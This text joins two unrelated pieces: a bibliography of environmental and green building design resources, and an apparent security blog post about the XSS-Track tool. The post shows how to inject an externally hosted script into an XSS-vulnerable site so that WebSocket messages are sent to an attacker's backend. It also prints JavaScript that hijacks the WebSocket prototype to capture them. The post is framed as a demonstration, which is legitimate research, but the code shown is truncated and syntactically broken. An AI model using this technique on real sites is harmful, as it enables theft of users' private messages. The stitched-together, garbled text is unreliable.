Thomas, R. Environmental Design: An Introduction for Architects and Engineers. London: Taylor & Francis, 2006. The book provides an introduction to environmental design, tackling the principles of site planning, building form, and materials. It is supported by case studies and examples of award-winning environmentally-appropriate buildings.
Yannas, S. Solar Energy and Housing Design: Principles, Objectives, Guidelines. Volume 1. London: Architectural Association Publications, 1993. The first of two volumes, this book tackles the use of solar energy in site planning and design to reduce energy consumption. It covers topics related to site layout, building form, internal planning, design of openings, ventilation, and heating systems.
Yannas, S. Solar Energy and Housing Design: Examples. Volume 2. London: Architectural Association Publications, 1993. The second of two volumes, this book provides examples of the use of solar energy in the design of buildings to reduce energy consumption.
Zeiher, L. The Ecology of Architecture: A Complete Guide to Creating the Environmentally Conscious Building. New York: Whitney Library of Design, 1996. The book provides details on the different facets of green building by providing comparative energy performance solutions, recycling alternatives, material analysis, etc.
Online resources
The Water Conserving Landscapes and the E-Publications sections of the CSBE web site provide substantial information on the subject. The CSBE energy-efficiency booklet can be downloaded in English here or in Arabic here.
Other useful web-based resources on energy- and water-efficient design include:
Austin Energy (http://www.austinenergy.com): This web site addresses the issues of green building, energy savings, and renewable energy. Its Green Building Program provides extensive guidelines and case studies related to energy-efficient design including a downloadable design manual entitled "Green Building Multifamily Guidebook."
BuildingGreen.com (http://www.buildinggreen.com/): This web site includes articles covering a wide range of topics relating to sustainable building taken from issues of the monthly Environmental Building News (EBN) newsletter. The web site also provides a directory of green building products. Although some information on the web site is available at no charge, most of the information is limited to subscribers.
Johnson, Warren. "Keeping Cool," Aramco World Magazine, May-June 1995. This essay can be downloaded at http://archnet.org/library/pubdownloader/pdf/4363/doc/DPT0271.pdf. The essay describes the skillful adaptations of traditional buildings in cities in the Middle East region to the hot dry climates in which they are located.
Oikos Green Building Source (http://www.oikos.com): This web site includes information on green building products and materials.
Rocky Mountain Institute (http://www.rmi.org): This web site includes some case studies for green development as well as an extensive database for high-performance buildings.
The Vital Signs Curriculum Materials Project (http://arch.ced.berkeley.edu/vitalsigns/): This web site is for a project that is coordinated through the Center for Environmental Design Research at the University of California, Berkeley, through which architecture students examine architectural, lighting, and mechanical systems in existing buildings with attention to energy use, occupant well-being, and architectural space-making. The web site includes case studies submitted by students from different universities. It also provides a number of online resource packages (http://arch.ced.berkeley.edu/vitalsigns/res/rps.html) created by the Vital Signs Project. Each package addresses a single building performance issue.


text:
XSS-Track as a HTML5 WebSockets traffic sniffer
HTML5 WebSockets are really a great feature for current web development. They allow you to set up a bi-directional TCP connection between a browser and a server. Sure, the protocol is being constantly updated, has it's own issues, which will probably mean it won't be ready for Firefox 4. But still, I think it's great way to make the current web applications more responsive.
That being said, developers must know that using WebSockets will always have some security issues. Just to name the few:
the client can be spoofed (it doesn't have to be the browser)
ws:// server can't be trusted (MiTM attacks)
you need to handle the authentication
the communication over ws:// protocol is plaintext.
There are many possibilities, but for today let's focus on this:
It's important to know that WebSockets (without any additional precautions) is not a channel to send restricted messages through, because e.g. a single XSS flaw on client side could reveal all those private bits to the attacker.
To demonstrate, XSS-Track now supports stealing WebSockets sent and received messages. All you need to do is inject a http://kotowicz.net/xss-track/track.js?websocket=1 script into a vulnerable site and all mesages will be reported to your backend.
You could also make it http://kotowicz.net/xss-track/track.js?websocket=1&debug=1 so that the messages will be logged to console instead of sent to backend.
To be able to test WebSockets injection, you need to have WebSockets support :) Use Google Chrome as your WebSockets client and navigate to http://vuln.nodester.com - it's a simple vulnerable chat application using WebSockets with all the instructions. You can also set the server up for yourself.
No rocket science here, just modifying WebSockets built-in object:
if (captureWebsocket && window.WebSocket) {
// add logging onmessage listener
function captureRecv(ws) {
if (typeof ws.captured == 'undefined') {
ws.addEventListener('message', function(e) {
var event = {
event: 'websocket_recv',
from: location,
data: e.data,
url: e.target.URL
ws.captured = true;
// capture sending
var captureSend = this.contentWindow.WebSocket.prototype.send = function() {
captureRecv(this); // in case socket contruction was before constructor switching
var event = {
event: 'websocket_send',
from: location,
data: arguments[0],
url: this.URL
return window.WebSocket.prototype.send.apply(this, arguments);
// capture constructor
this.contentWindow.WebSocket = function(a,b) {
var base;
base = (typeof b !== "undefined") ? new WebSocket(a,b) : new WebSocket(a);
base.send = captureSend;
this.__proto__ = WebSocket.constructor;
return base;
As always, you can see the source code yourself.
Update: I've just found out this technique of manipulating prototype object to change behavior actually got a name of 'Prototype Hijacking' and was used by Stefano di Paola in 2007 to hijack plain old AJAX communication. Of course, Javascript using it's prototypal inheritance needs to have this kind of 'weakness' and I consider this a brilliant feature of the language itself. Javascript FTW!